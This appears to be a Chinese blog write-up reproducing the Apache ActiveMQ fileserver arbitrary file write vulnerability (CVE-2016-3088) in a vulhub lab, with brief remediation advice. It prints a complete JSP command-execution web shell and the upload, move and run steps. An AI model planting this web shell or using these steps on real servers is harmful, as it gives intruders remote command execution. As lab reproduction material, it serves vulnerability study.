0x00:漏洞原理

fileserver是Apache ActiveM提供的一个RESTful API接口,可通过GET、PUT、DELETE等HTTP请求对文件进行读写操作,设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,在文件操作过程中出现了任意文件读写漏洞。

0x01:环境搭建

这里使用vulhub 的docker /vulhub/activemq/CVE-2016-3088

拉镜像 docker-compose up -d

访问靶机8161端口即可

0x02:漏洞复现

admin/admin 登陆后台

上传文件必须知道其物理路径 访问http://192.168.150.148:8161/admin/test/systemProperties.jsp 获得当前系统路径

上传jsp小马 成功则返回204 No Content

<%@ page import="java.io.*" %>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>

然后将上传的文件移动到 api 目录下,成功的话,返回 204 No Content

执行命令 http://192.168.150.148:8161/api/1.jsp?cmd=whoami

0x03:漏洞修复

建议后台使用强口令

影响版本 5.x ~ 5.14.0

升级版本至5.14.0以上

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注